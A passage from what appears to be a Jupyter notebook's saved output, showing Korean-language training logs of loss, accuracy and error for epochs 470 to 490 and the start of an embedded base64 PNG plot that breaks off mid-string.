0.01846471056342125 0.9725000262260437 0.0274999737739563\n", "Epoch: 470, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.07188722491264343 0.9714999794960022 0.028500020503997803\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0186725165694952 0.9725000262260437 0.0274999737739563\n", "Epoch: 480, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.06451404839754105 0.9614999890327454 0.03850001096725464\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.06746222823858261 0.9624999761581421 0.03750002384185791\n", "Epoch: 490, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.18048334121704102 0.9725000262260437 0.0274999737739563\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.019044971093535423 0.9750000238418579 0.02499997615814209\n" ] }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAYIAAAEGCAYAAABo25JHAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4xLjMsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy+AADFEAAAgAElEQVR4nOydd3xUVfbAvzeTTg+hh94CAiKgSFFXRQELKiAClrWi/mSxra7urihYFrtiQ1dRVxQVFUQBC0VBESR0CL0mISG9l2n398ebmUx5M5lJMpmE3O/nk89k3rvv3fPue3PPO+eee66QUqJQKBSKxktYqAVQKBQKRWhRikChUCgaOUoRKBQKRSNHKQKFQqFo5ChFoFAoFI2c8FALECjx8fGyW7duoRZDoVAoGhRbt27NllK20dvX4BRBt27dSEpKCrUYCoVC0aAQQpzwtk+5hhQKhaKRoxSBQqFQNHKUIlAoFIpGTtAUgRBioRAiUwixx8t+IYSYL4Q4LITYJYQYEixZFAqFQuGdYFoEHwHjfOwfD/S2/c0A3gmiLAqFQqHwQtAUgZRyPZDro8g1wP+kxiagpRCiQ7DkUSgUCoU+oRwj6ASkOH1PtW3zQAgxQwiRJIRIysrKqhPhFAqForEQSkUgdLbp5sSWUr4npRwmpRzWpo3ufAiFokaY8/IoXLky1GIElbK9eyndtj3UYjRKjKmpFK9fH2oxvBJKRZAKdHb6ngCcCpEs9QpzXh4Hzj2PorVrQy1Ko+HUI4+S9tDDmE6F/hEsP3CQ0mpOmsz/+hvyPv8CvXVGjk+azInp070eW7ptG2V79rrKkpzMwREjKdu1q1ryNHSMJ06wf9DZlO3Y4bHPlJZG0bp1fp3n2MRJpMy4W/e+uCOtVg4MP5/cTxYFLG91CaUiWA7cYoseOh8okFKmh1CekGHJz6fg+xWO7xX792MtKiL1/gcc26wVFeR9+SWm9HSy3n6b8uRkAKTJRN6SJVhLSgDI/WQRB0dfgLRafdYprVbSHn2U4zfd5L2MycTRa64l/5ul5H35JZaiIr+ux5iSQvGGDX6V9Ube4sUcGDIUabG4bC9ctYqDF1yApbjYb1kODj+/yo7MlKJ5KaujCKTFQt4XX2IpLnHdLiV5ixeTt2SJx3X44tg113DippsDlsN0OpP0f/2LjKeewnj0aJXlC1euxJxbOYx3YvqNHJ882aVM0dp1WPLyyHhqDmV797IvsR8Vfpxbt76ffsKUkeGyLfeTRezrfxZpDz1EyaZNfp/LlJlJ4U8/VUuOQChNSkIajWQ886zHvmOTJpN67/+R98WXSJPJ53mshYXa+f74g7KdOylaswbjyZMe5U7efTfHJk3GWlDA6f/8p3Yuwg+ClmJCCLEY+AsQL4RIBZ4EIgCklAuAlcAVwGGgFLgtWLLUN8r37cNaWkrs0KFkPPMseYs0zR/VqyfRiYmYMk5rBU0mrGVlWEtLOXrttViyshEtmiMLCinbuZMu775L7v8+IfPFF8kqzaTPX+/j9LPaA2tKSSGya1eXekuTkghr0oTofv0o27GTwuXfAWApLsbQtKlL2VPFpwjbtpeKAwfIfOEFTVkt+5auny5CCFevnjQa2bPgBU53iKHPzwcoWa8pgcR9yRR8s5TM116l95o1iMhI7foPHMCUlkZkt+4cmzSJbp8uIrp/f4wnT1Jx8CDNxozRfngWC8W//IKIjAIgomMH0h58SDvH3mSienQnf+kymgw/j7QuTWjbpC3NI5u7yFawdBmWggJy3v8AQ4sWmDJP03nBApCSwlWraDpqFFnz52M8oc2+T31hHlsfv5Lzuoym9S+7EdFRFHyzFBEVRcJbb2ItKeXQiBF0fPFFmo8bS8F332sdxZNPUr5/Hx2efBKAk3fehayooHTLFgByDu+l7eDhZMyZS9ytf6V08mV0aNUFQ5gBi9VChCEC06lTFHz7bWW7WiwIg4GideuI6tGD7ZEZ7MzayYxBMwCwlpdT8N13tLzuOvI2bmDTmk/objv26JVX0W3JEmIGDgDgeEplFPex996g7NW3ERIMbeLBbKHj8/Mc+wt//hksViI6tKfi0CEAKo4dI/eDhdpz9OcWzFnZhMXGEDNwoOO4sl27OH7DVDqs+IaWPRJd7oMpPZ20Wfcjww10++wzYgcNwpSZyemXXgSrlcKVqyhcuYrwNm3otWY12e++R/6SJXR84QWanD8cgPTidPbn7md4h+Gk3z8L4/adxG78ndItSaQ//ji91v8KUlK0eg2x5w6jfPdurKVltJh4neOZzV+xAuPgPrTt1BtLfj5Fv/yCJT+fzHnPc+SuMVx6/wvEhMc45D6StodYoPTgAbJKsxCfLCXr9deJve5qLPn5AGQ8+SSpG1cTf/Fl/NCjiKuOt6LVqAsJb90ad07efofj/yYXXUhUt+5kbVhD5MLX6N2uPyW/VrqPIjppQ6ZFa9cS1aMHkUHMsSYa2lKVw4YNkw0919C+xH4AdHrtNdIeqHzrb/fUkyzqk8nFq7MIX/gVAF0+W0ThipXkf/qZyzny2zVh2Bffc2Ds5RgqTGw4S7Crm+C+FZolUNEyFmtCe7p+8j9ax7Rmy4nfaTr2Tu2cu5NIfWs+1gX/AyD683fh4DH29Y2hR+dB9GzRkyGLhnD3uggu3VTmUu+uaUO5pPtlFC35mqh+iUT16EF423ak//OfHtd5+roRtFv6BwBFM6fSctEPtJ87hxP/eITwMqOj3PaLOhI/4Vo6P/w2AGnfvULnqU84rBw74V27YD6hvUWFd+iAOV0zIK1hgnfHCUYUtmXwpiyEIZymF11E+6fnsnvadUQfTYf2bSBDCzQI69aFNtNv4vRzzxFz3rmU/bnFpZ51gwSFvdpzzTeuBmqbBx8k69VXAYjq3Zu4B2aRft/fXC86Ipy4778kd+xEAIqj4Wh7QcccScuoloRna53He+PCaD/9FiLCIlhxdAVf9H6OnCfmYj3s9LbduQOkVMrw7vgw/uwjmD3+JS7pfAnZb79DwVsLWD+9Pxd+luzR/qljzuKZC7K4sslwIj/9nrHbvf/WDe3bYbG/gDi3eZs2mG0BGpboSAzlRo4ltqT7fu06OvznPxSV5SNz8ih56z0Avh3TlEdf+Z2CZd/y26Bwso7vZ8QD/3M5b7utG9jwnwfp81USaX1b0+lATuXOd/8Ddz+uydWnJ4bIaDIuGcDjcWvptSuHXtbWXLw6m5bFkq9mDeKSzw8Rl1lGSvemdD7maSnGTriS/KTNHLjqLAa+9ysb+wn6texLqz/2AyCaNkEWl5DbFPZ1Fow4IPn2kiYsGxHGxJ+LuWaT1m4rpnXnyg3lkOrdcbGrm2DQccnxkd0Y+ubHtI1ty4brLyd+d4pHWUsYGGyG+7tXGLiu57W0feNrx/6SGEGTMq3uE50iGbBsBQnNErzWXRVCiK1SymG6+5QiCD4HR19A69tupfUdd2AtK+PAOd7nzh3uAOltI7hgp2ZqLhobxfnHIuh1sPIBP9weumbB7qsSGfLtflLioXO2/vkeud3AfxZBuLHSNZHRNoLwchPxmrXKR5eHc+tPZgAWXxTGkfM6MuXTVPqcAquAMAmprUFIaFUMsUbXOpwfaH/Z3kNwzlHt2duXAF0zK8+74lzB2H1RhBeXA1AeAdE6lndB0zDeGwuPfK1Vbg6DcB05tvUUDDmi1WW/Hl8Yw+FoO0hM812uID6GFtmaojzZBrrYAtoWXhbG7T9bWXVeOJt6S9rmS4eCTuolGHZYsrWn4LsRBtrkWbl6s5UuXu6fHrlN4achYUxdr53zYEfoY/No7ewm+GNMB25cnIFFWnniFgO3rLFy7qHq/86/viiSSb8aqy5ow2SACNvjdjIe3WvLbqZFi6S1FuzuJrjxl8ob9915gqv/lGztJRh6WJP7VBzEFXk+BwsvC+PC3VZ6uXqcfFIRDlHmqstt7Ccwh8GFe13bbv1ZwmObO5v7Cl6eaOCGA62Z9I2ngq2KrISmtEl1VWp/JAqG/ncxZ7c5O+DzgW9FoFJMBJGTd80g5b6ZWLKzyXzxJTJLM9m8xvsA0K8DBL3S4YKdJg52hIK4KAYeMBJ3qphfB1S6YzYOjiLCAm1+38/JNvDLIO+38Y71ES5KAKB9pqYE7Oe0KwGAab9amfl2qqNj+XqUYPklTfnw6ljE2f2JNYJFwO/9KuUxWCGnmcAcG6krQ2EMlDntKouEwqfv48M7u3C6JfRL1ZTAslt7AXDlFulQAgDzJ4Tx6wUtHd+39RBYBLw6AYZMvpfU5+8BXJXA3i5OAjz7KGVNIwB47Zowlo1vRU4zePuO9h6yfnJxGJFmVyWwaWhTUj2tfFpkl3F6QAe+uCCMBeMNvD5bc8OcY1M6GxIl+7oIWo653HFM/2dfQU4cx9AjkqcWmblvRWBKACCuGIcSgEol8No1YTw7NYzxkx4h8ePPaCajeGOBhXMPSYwGeH965UXIqy4FNKWyuY92L0sjte8FsZV1VYTDsmEWcptCZgtXOV54rCcndIL4IpweN/u1yXADlsH9HNvji6B1EVxw39NETpvIu+PDmHW3AYDhByRWYPfVleU75uq/DFx/rG1ASgA0JWAOA+PDld7oXCfPqDhvMAAj90mPDn9Hd0HZTVdVWUezUsnZR61VKgFzGGQnNAO09g3r3pW+W5MYOOMRTa57J5IxXntxHLFfkr3Pc9C6NlCKIEhIKSnZsIHiNWsc2yYun8iSn1/TLW+JjWLfnRdjaar5J9cPCKPLtNs4+7gkrhgi+/TmhzljyX/hAR6c+BKgWQHGgb3512t/0vbRRx3nsvsWARIPax1qSq/mtLzjdsd20TqOqS984yqEQfshtiyB1u/Op2jWdDrdM5OH3tzI/x7dzJCLrgcgctg5XDl2pnZIC613SBg8kugm2v/RZ53lctq480ezY9HfSepl89P2bs+0ATdx4cS/sXqw7REUgscedpKnXTytX3me6Cce5h8PLGHKJbMACGvenMnLt9NmyzrmzvyGmefM5NJx9yAiI4kcMhiitPGE/FuvIrxzZzo89xw3Dr6VTjdog68zr3mOf7zyG93XreaNR9bR9KWnWXWx9kM8PPMKZj63yuPe3PL2aroPvVjvttFn9FW0mzmTidf+g3emfQnh4Q5L5/1bl7P1pq08M/5VWt1yM01Gj2bo2ePoeN5FLueI6NoFQ1wc8X+bSdNLL3VsPz1zokd9EZ0rA+06zZ9Pm4cfcnw/6+wxzDznb4ztNpbmA86maWJ/xz752mxeemID7V5+kV7r1tL/pTfpt38f8T8t45LbngBgXxfBqc/mEjWg8v6dHtiR1Tf/xsgtyQzbUGmJ5z0/iw9v/Z7Lf91L558qAx2cMfxlFE1efZbUObfT/fMviOvaB4Cuiz8j+qyzaD7hajqMv4bZFz3N6HvnkNVCs9jaFoC5czuevnMxEd26epw3atokx//NDntqgea33kx427a0vutOx7YTVw12KXO8LZx916PEjh+ryfncExAeTovvv6DPuwtp+pe/6F7T1/f254oL7/DY3vbZp2n90zLaPzmbZuPH0T8F/vWFpqzDu3fzKN90zKXk33olx/49jcRrbgGgyR230HfVD4Q1aULzcePo8MzTjJw5l/Nvf9xx3DkpQRrWlVI2qL+hQ4fKhoAxI0Mm9010+ftk+nlyxUNT5M6z+smMk/td9uUu/lw7Lj1dLntlpvxgx3+lKTfXsT/raLLj3M7bC1askFJKaTWbHdtO3n2PTO6bKI9cPUEm902URydfL6WUMvvDD2Vy30S5f8ZtjnMdvX6K47icjz+WyX0T5YGRo6TVavW4JktZmcz98ktpKS2VlooKmbv4c2lMS5OZb7wpy/bulYcuv1wm902Upbt2uVzbqSeflFJKmfzAvTK5b6Is/Pln7XxWi1y/7C1HOSmlLFy9WlYcO+ZRd+GaNTK5b6JMnzNHt70L166V5YcPy9wvvpDJAwZKS0WFy35zQYHM/fJL3euyWq3SaDE6vucvWyYPXnChTH/mWXlgxEit7T5Y6Gib/OXfOWQuO3DA5VwHRo6SyX0T5eErrtStS0opyw8dcrrvi6W5qMixr3T7dpncN9HRBu7PkJRSpv3zn/LEnXdJq9UqC1atcuwz5+W51FP022/ywIiR0piRoSuHHePp0zK5b6L89L6xssRYItPnzJXJfRNl6sN/l+bCQpeyjuvef8DjPAdHXyAPX3ml9sxNnOSx31xYKPO+Weq1XdadXCc3nzdQe2ZmPymllDL7/fflsWnT5aFLx8j9Q4bKgh9+lAWrfnB9vp6YLU+/9JJM7psok56Y5XLO0h07ZPEfm6SlvFzmLl4sT977f9px/3rYZ5uYi4rkwdEXyNS/PyJL/vxT+z1de51HOxwYMVKefuVVl2PT5z5duf9v98jcz79wkTf1wQdd7rn2W1rs8cy6Y8rJ8bm/KoAk6aVfDXnHHuhfQ1EEhatXe/yI7X+HLrtcWq1Wx3erxeL1PKW7dsvizZs9ttuPNZ4+7bGtZOs2rTM5flwWrlkryw8elFJKmffNUpncN1Gm3P+Aax07d8rizZtl+aFDcv+wc3Xr84eCFSu0DqmwUOvQU1Jl3ldfOR56Y3q6zF+2zKUjMOfnax3nuPE+z201mbQfS1lZtWSrKabMTO3eXXKpz3Klu3bJ4o0bvXZ2UmpK++DoC2T2hx9WWa+eInCpb88er/sCoWDVKmlMT5dSSmkpKZF5S5boXoO9Lm+dUtl+7QUnZdb91ZIj7V//ksl9E2XeN0tdtpds3SZLtm7T6ti3T3tmxl8hkwcMlGX798usBe/K5L6JMmPe8z7Pb++k87/7PiC5ClaskKbMTMf3k3ffI0/MmKFb1pSZKQ9eeJEmz3PPyYqUVJncN1EevOgv2u9z27aA6q4tlCKoYyrKS2XSqKFeFYH9R3vshqky7Z//rFYdGS+8II9cdZXLtqo6hLyvvtbeSP7+SLXqDBYFq36QxrS0UItRJYVr1sryI0fqtM5TTz0lD11yqSxJSpKlu/d47LeUlMj9554n8776qk7kqerlxWq1yrxvlnpYJ/5iKSuTOYsW+Xw7tlqtMm/pUmnKzXVsy1uqveRkvfOOz/PbFUZFSmq15PMXu9VXuqfynlmKi2XuF1/4fEkIJr4UgYoaCgIfLJvNyMeW8Nu4TlzwWz6l906lTVQcCVNv4fAll9Lq5puIv+uuWq+3bNcupNlC7JBzdPcbU1I4ctnldPnfxzQ577xar19x5mMPfe63f1+IJXFFWizkL/mKFhOvIyxSP2gBwJyVRcmmzbS4uuoB3zMNFT5ah5iNFSy/9jz6HTXSY+UKIrt395iApVA0VCoOHcKUmUnTUaNCLYoiQHwpgga3eH19JWXes2zbtoKtPQXTjmox15HduikloDijiOrdm6jevUMthqKWUYqgFijZtInijxbRBwjL1LZ1WPA2IkxF5yoUivqP6qlqiJSSk7dWTkzplQEVd0ym5V/0484VCoWivqEUQQ0x5+R4bEu8JvDMkQqFQhEqlGuohmQf1NIbH/r3VEbLngDKh6pQKBoUShHUAGtJCfm33wdAu37nEDd0QoglUigUisBRrqFqYpVWjm39xfG9ex8Vl69QKBomShEEgLWszLF85NqTa3l9mZbo7fmHu9CmabtQiqZQKBTVRimCAMiYM5fU/7uPikOH2JW1iw65EnMYXDX6djVfQKFQNFjUGEEAlO/VFvbOPrwXyxcLuXaTxNCjG5MSp4RYMoVCoag+yiIIAGtpKQAnXnmeqzZZONWrJR0fe1xZAwqFokGjLIIAsK+h2zwtn7Q46PXpYpq26BZaoRQKhaKGKIsgAOwWgcEKFV3a0k0pAYVCcQagFEEASGPlAt6W9jqL2CoUCkUDRLmG/KBs717CoqNdtuW1igiRNAqFQlG7KEXgB8cnTfbYds7gcSGQRKFQKGof5RqqJn3PuiDUIigUCkWtoBRBNYno2DHUIigUCkWtoBRBFegt5Wlo3Zqw2NgQSKNQKBS1j1IEVSDLyly+W8IgIqFTiKRRKBSK2kcNFleBfRKZneN3jOHiUTeFSBqFQqGofZQiqAJLcbHL93G3zyW8VasQSaNQKBS1j3INVYG1pNTlu6Fp0xBJolAoFMEhqIpACDFOCHFACHFYCPGYzv4uQoh1QojtQohdQogrginPh78f4+fk0wEdYykudPkuItREMoVCcWYRNEUghDAAbwHjgf7ANCFEf7di/wa+lFKeA0wF3g6WPABzvkvmrv8lBXTMifT9AJjaxwVDJIVCoQg5wbQIzgMOSymPSimNwOfANW5lJNDc9n8L4FQQ5akWR9O1NQjav/sWicl7QyyNQqFQ1D7BVASdgBSn76m2bc48BdwkhEgFVgJ/0zuREGKGECJJCJGUlZUVDFm9UpCTDkBcXCdEmBpSUSgUZx7B7Nn0Vmtxn501DfhISpkAXAF8IoTwkElK+Z6UcpiUclibNm2qJYzF6jkxzB+aJJ+guFk4htYq26hCoTgzCaYiSAU6O31PwNP1cwfwJYCU8g8gGogPhjBlJgvNKCUSk9/HSLOZrsm5pA9W1oBCoThzCWbvtgXoLYToLoSIRBsMXu5W5iRwKYAQoh+aIgiK76cs7xS7o+/k2fAP/D4mL+UwMRUSa79ewRBJoVAo6gVBUwRSSjMwE/gR2IcWHbRXCDFXCDHBVuxh4C4hxE5gMXCr1EvuUwtEbNUUwPCwfX4f8+f2FQD0ShwRDJEUCoWiXhDUmcVSypVog8DO22Y7/Z8MjAqmDHZODX6QiD/f4aRsSxc/yhcZi/ht6zd0BXonjgy2eAqFQhEyGk2KiTKzlW3W3jQR5VWWlVYre++fwdituQBEdFIppxUKxZlLoxkBLamwUEYUnUQ2Mvuwz7JFP/5Ii3U7iC8EQ3w8YVFRdSSlQqFQ1D2NRhGUGi2UEkU7kY94c6jPspnb/nD8H9WtW5AlUygUitDSeFxDJjNl0vebvfHkSVIfeID0iGJHDGtkz57BF06hUChCSKNRBCUVFoz4VgS5H31MRfI+l4kMhmYq26hCoTizaTSuoTKba8hOcYXZo4whrjKxXHmMpiObXnRR8IVTKBSKENJoFME5XVoSE9vM8f10oWf0kKFlS8f/mSN60XfbVmLPPbdO5FMoFIpQ0WgUwbBucZzbpzLjxem8Eh+loVXHHmqBeoVC0ShoNIoAoNhcmQev8PRReH0wZB2E4kwozkRWVDj29znrglCIqFAoFHVOo1IEZ7WvfMOPP/wV5B2DLe/DS73hpd5YKirdRc2vDOpiaQqFQlFvaFSKoEVkpUUQVWJLhNq0LQAWk6Bg1zYA9i95krDIyDqXT6FQKEJBowkfBcBamYI6tizd9o+2zsCJ1fGYC36nIhw6xfcIhXQKhUIREhqVRcDA6x3/tqjI0P6RFgAqCrRF6aWAni3VJDKFQtF4aFyKoEUCTPkfAHHm09o2sxFprSwSboXWMWo1MoVC0XhoXIoAwKBNKgvD1vtbKjCVGCp3W/UOUigUijOXxqcIwt0Ggc1GrE5hpSIoy+IoFApF/aXxKQKDW74hixGrqfE1g0KhUNhpfD1guLsiqHCxCAAoPOV53I7P4Nv7gieXQqFQhIjGpwgMbq6hjW94KoIj6zyPW3YvbF8UPLkUCoUiRDQ+ReBuEQAWd0UgGl+zKBSKxkvj6/HcLQKg3OLWDGEGjzIKhUJxptL4FIGORZAp3SZYK4tAoVA0Ihpfj+ceNQQcIxKLs3dICI8yCoVCcabS+BSB+zwCIEuGY4p0mkAglGtIoVA0HhpX0jmA8GiXr0VCYLSEIcItNBnShPjYk8o1pFDUEiaTidTUVMrLPVcEVASH6OhoEhISiIiI8PuYxqcIDBEw5ROy96wmPvlj9kZFEm2C8HBJk7MEscVGpQgUiloiNTWVZs2a0a1bN4RyuQYdKSU5OTmkpqbSvXt3v49rnD1e/wlUXP48AH9ExjDwmCTaYCHMYtT2K0WgUNQK5eXltG7dWimBOkIIQevWrQO2wBptj9e2WRQSyDoVQ7NyiAiXVJTZ1jFWD61CUWsoJVC3VKe9G60iiDCEcUBE0umk1gSdRuYRLm0WgdXi/UCpstIpFIozi0arCADyfmnFJbskYdEWwqOtRGNTBF/cCPtX6h+kFIFC0aBo2rRp0M59+vRp7r//fgYNGsSQIUO48847SUlJASAnJ4fBgwczePBg2rdvT6dOnRzfjUaj33XcdtttHDhwIFiXADRyRdAyXQsTFbY1CKKoXMqSn5/QP0j6sBYUCkWj4ciRI4wbN45Ro0aRlJTEtm3bmDZtGtdddx1HjhyhdevW7Nixgx07dnDPPffw4IMPOr5HOq2JLqXEavW+EMqHH35I3759g3otQY0aEkKMA14HDMD7Usp5OmWmAE8BEtgppZweTJmcKY+EaCNYjJpCiBBOnby5Qv8gqVauUSiqw5zv9pJ8qrBWz9m/Y3OevPqsgI87ceIEt99+O1lZWbRp04YPP/yQLl26sGTJEubMmYPBYKBFixasX7+evXv3ctttt2E0GrFarXz99df07t2be++9l48//phBgwY5znvppZeyaNEiHn74YZYtW+a1/sOHD3PttdcyevRoNm/ezPfff8+cOXPYtm0bZWVl3HDDDcyePRuA0aNH8+abbzJgwADi4+O55557WLVqFbGxsXz77be0bds28IZzI2gWgRDCALwFjAf6A9OEEP3dyvQGHgdGSSnPAh4IljzuSCkpjNUGVZp3LfUsYCrTP9DX+IFCoWgQzJw5k1tuuYVdu3Zx4403MmvWLADmzp3Ljz/+yM6dO1m+fDkACxYs4P7772fHjh0kJSWRkJDAwYMHadOmDYMGDeL7779nyJAhTJ48mUmTJpHYty9hYWFkZ2f7lCE5OZk77riD7du306lTJ+bNm0dSUhI7d+7k559/Jjk52eOYgoICLrroInbu3MmIESNYuHBhrbRHMC2C84DDUsqjAEKIz4FrAOeruwt4S0qZByClzAyiPC7klOcQWy7JTYyi70Cd9QfMXsKvlEWgUFSL6ry5B4s//viDb775BoCbb76ZRx99FIBRo0Zx6623MmXKFCZOnAjAiBEjeAlfY6gAACAASURBVPbZZ0lNTWXixIn07t2bnTt3cv7552OxWJgzZw5r166loKCAAQMGQPFpendozrEjh4mPj/cqQ8+ePTn33HMd3xcvXswHH3yA2Wzm1KlTJCcn07+/y7szMTExjB8/HoChQ4eyYcOGWmmPYI4RdAJSnL6n2rY50wfoI4T4XQixyeZK8kAIMUMIkSSESMrKyqqRUJbiYkyZmRzPPkzTcohqG6mfbFQpAoWi0WAPuVywYAHPPPMMKSkpDB48mJycHKZPn87y5cuJiYlh7NixrF27FiklBoOB7OxsevbsScuWLenatavWcZdkk5mdS9v41j7rbNKkieP/Q4cO8frrr7N27Vp27drFuHHjdOcCOI8tGAwGzGZzrVx/MBWBXjCre8hNONAb+AswDXhfCNHS4yAp35NSDpNSDmvTpk2NhDo24RoOX3gRJ07uBiC+XRf9glYvDawGixWKBs/IkSP5/PPPAfj0008ZPXo0oA0ADx8+nLlz5xIfH09KSgpHjx6lR48ezJo1iwkTJrBr1y4GDhzIH3/8QXx8PEeOHKGgoICTJ0+yb98+du87SGZ2Hl27dvVbnsLCQpo1a0bz5s1JT0/nxx9/DMp1eyOYrqFUoLPT9wTA3QeTCmySUpqAY0KIA2iKYUuwhDKd0kQ4fTyZ/kDchTOg3RT45i7/TqDCRxWKBkVpaSkJCQmO7w899BDz58/n9ttv58UXX3QMFgM88sgjHDp0CCkll156KWeffTbz5s1j0aJFRERE0L59e2bPnk1cXBzHjx9n586d/Pvf/+biiy+mR48eTJgwgZfe+ZiFrzwZkIxDhgyhf//+DBgwgB49ejBq1KhabYOqENKPjk0IcR/wqZQy3/a9FTBNSvm2j2PCgYPApUAaWuc+XUq516nMONt5/iqEiAe2A4OllDnezjts2DCZlJTk18XpsS+xHwA/X9+Dy5Ycpdea1UQ0D4eX+3gWfqrA6f8W2uffD0PTmlklCkVjYd++ffTr1y/UYgSFffv2ceONN/L8888zZswYALZt20Z68iauunQktD1LN9txXcnm3u5CiK1SymF65f11Dd1lVwIAtsFdn6/QUkozMBP4EdgHfCml3CuEmCuEmGAr9iOQI4RIBtYBj/hSArVJv99SKG8aSXjHjloiOn9RYwQKhQLo168fy5cv5+uvv2bIkCGcf/75LFy4kHMH159BcX/x1zUUJoQQ0mY+2EJDq1R1UsqVwEq3bbOd/pfAQ7a/OiUh3UT2wARtkEhn+UoXnCd7KEWgUChsJCQksGDBAteNGXvAatI/oJ7iryL4EfhSCLEAbcD3HuCHoElVR2T9fZr2T5WKwGngWA0WKxSKMwx/FcE/gBnAvWjRQD8B7wdLqLoivlMv7Z+qXEPO2l1ZBAqF4gzDX0UQA/xXSrkAHK6hKEBnSm79xX1gvG2sbWq2EBilgUjh9rZvMWlKwuKkCNTMYoVCcYbh72DxGjRlYCcGWF374gQX6TZBo2vzyjhfk55OtE8qc+78lUWgUCjOMPxVBNFSymL7F9v/scERKXhYS0pcvseEV+o2fUVgX5/A2TWk5hEoFA2JOk9DnZYB1F4aaoCFCxeSkZERjEsA/FcEJUKIIfYvQoihgJesbPUXd0XgTNNYHb1mX7rS2TWkBosVCgU+0lDffj9Hjqf4nYbaH4KtCPwdI3gAWCKEsM8M7gBMDY5IwcOXIgiPiPJUbRZbKmo1WKxQ1JxVj0HG7to9Z/uBMN4ju32VBDUN9Zv/4eG5r7Ls+7E+Zfj444956623MBqNjBw5kjfffBOr1cptt93Gjh07kFIyY8YM2rVrx44dO7jhhhuIiYnhzz//DFiRVIVfikBKuUUIkQj0RYsa2l+rUtQRluLiyi8Gt0xzepFDdteQxSl8VA0WKxQNHnsa6r/+9a8sXLiQWbNmsWzZMkca6k6dOpGfr82htaehvvHGGzEajVgsFo801LNnz6ZHjx5IKfn6rTmEhQmys7OJb++eZ1Njz549LF26lI0bNxIeHs6MGTP4/PPP6dmzJ9nZ2ezerSnM/Px8WrZsyRtvvMGbb77J4MGDg9IefucaklKahBB7gYuB+4GrgXZBkSpIWHJzHf83H3u56069uQQOi8B5HoGyCBSKalGNN/dgEdQ01Myhd/cuHDt23KsiWL16NVu2bGHYMC3jQ1lZGZ07d2bs2LEcOHCA+++/nyuuuILLL79c9/jaxq8xAiHEcCHE68AJYDmwAUgMpmDBwJylLRSx7J+j6TDP7aHUUwRmI+QccV22UikCheKMo1bTUIOWhrqt97UIpJTcfvvtjjGDAwcO8MQTT9C6dWt27drF6NGjmT9/PnfffXedXL9PRSCEeFYIcQh4DtgNnANkSSk/ti8m05AwZWViDoPofv0I88fHZqmAxVPhsFOkrBosVjQUijJg9VOuKVIUQOjTUI8ZM4Yvv/zSsYpZTk4OJ0+eJCsrCykl119/vWPpSoBmzZpRVFQUtPaoyjU0AzgAvAN8L6UsF0I02PjJ4tOpFDSBTs0TPHfq5QYxV3guUKPCRxUNhWX3wpG10Pty6Doy1NKEjJClofbRVQwcOJAnn3ySMWPGYLVaiYiIYMGCBRgMBu644w6klAgheP755wG47bbbuPPOO0M2WNweuBxt0ZjXhBDrgBghRLgtu2iDovT0KfKbQEJTHUVg0YnrtRg9b6ZyDSkaCmb7GFfjtmKtXiyitWvXemyzjxs48/jjj/P44497bH/vvfccaai3bt0KVKahbtfGdXWyp556yuP46dOnM336dI/t27dv99g2ZcoUpkyZonsdtYFP15CU0iKlXCWlvAXoBXwLbATShBCfBU2qIGHOyia/iaBTM50BHIuOXjNXeHb8jfxHpVAoNBpNGmohxAi0FcSklLIc+Ar4SgjRHLiuLgSsLaTFQnhaJplnCTo06eBZwJtF4G4SKItA0WDQWy1WUZv4TkPdcNzIVUUN/RXYKoT4XAhxqxCiPYCUslBK+XHwxas9Ko4dI7zcRHbXFkTqhop6cw25KwJlESgaGg2nQ1KEBp8WgZTyHgDbZLLxwEdCiBZoq4n9APwuZcPoGdf9/D7dgJyuLfULWDwHiy2mcgzuFoCyCBQNBaEsAoV/+DWPQEq5X0r5qpRyHHAJ8BtwPbA5mMLVJt2bdyOjQxTDhl+jX0DHIpi7bAcmi1IEigaOinRTVIFfM4uFED2BVCllBTAcbeD4Ced1jOs7iTfeQ+KN93CxtwI64aORmCg3mXFOPpFbXE5cMARUKBRnFg1IAfubffRrwCKE6AV8AHQHGlzUkE903vQjMSPdQs9e/CG5riRSKGqJhtMhBYulS5cihGD//uqnSTty5Ai33347AwYMYMiQITz44IPk5Wnzanfv3u1IMR3XbxTdz7+Kweeez5gxYwKqY+zYsUGdOOYNfxWB1TZv4DrgNSnlg2gZSM9oIoUJq5uCyC+uCJE0CkWAqDECB4sXL2b06NGO2cSBsnnzZqZMmcINN9zAzp07SUpKYtSoUYwbN46cnBwGDhzoSBcx4fK/8OK/H2DHlk2sXu26fpfZ7Hv61Y8//kizZs2qJWNN8DfpnEkIMQ0tiuhq27YqFvptYHQaCmlbHV8rZARRmJFW6RKFFxupflwKRXV4/s/n2Z9bu4mLE+MS+cd5//BZpri4mN9//51169YxYcIEx+SuF154gU8++YSwsDDGjx/PvHnzOHz4MPfccw9ZWVkYDAaWLFlCt27d+Nvf/sZ3331Hx44dHeedPHkyrVq1Yvbs2bz11lte61+9ejXz5s0jPj6evXv3snv3bq6++mpOnTpFeXk5Dz74IHfeeSeghaPu2bOH7Oxsrr32WoYPH86mTZvo0qULS5cuJTo6uuaNpoO/iuA24B7gWSnlMSFEd2BRUCQKFTcvhYI0eGcEABWEE4kJgatFEBuhFIGioWB7VhuQrzoYLFu2jHHjxtGnTx/i4uLYtm0bp0+fZtmyZWzevJnY2FhybZmJb7zxRh577DGuu+46ysvLsVqtrFmzhssuu4yOHTvy/vvv8/bbb3POOedQUVHBokWLmDNnjpeaK9t906ZNJCcn06VLF0BbiyAuLo7S0lKGDRvGpEmTaNWqlcvRBw4cYPHixQwcOJCJEyeybNkypk4NzjIw/q5HkAzMAhBCtAKaSSnrT07Z2iC6hfZnw0gEEZgRbv7VWL8TdysUCmeqenMPFosXL+aBBx4AYOrUqSxevNixAEysbWXCuLg4ioqKSEtL47rrtLmy9rdve8rprKwsPvnkEzZu3Mju3bsdnXKHDh0cC9x4Y8SIEQ4lAPDqq6+yfPlyAFJTUzly5IgjJbWdXr16MXDgQACGDh3K8ePHa6E19PE3augXYIKt/A4gSwjxq5TyoaBJFmKMhBOJ2WNuZnS4v8MqipCwfwWs+w/c/SuEGaou3yhovBZBTk4Oa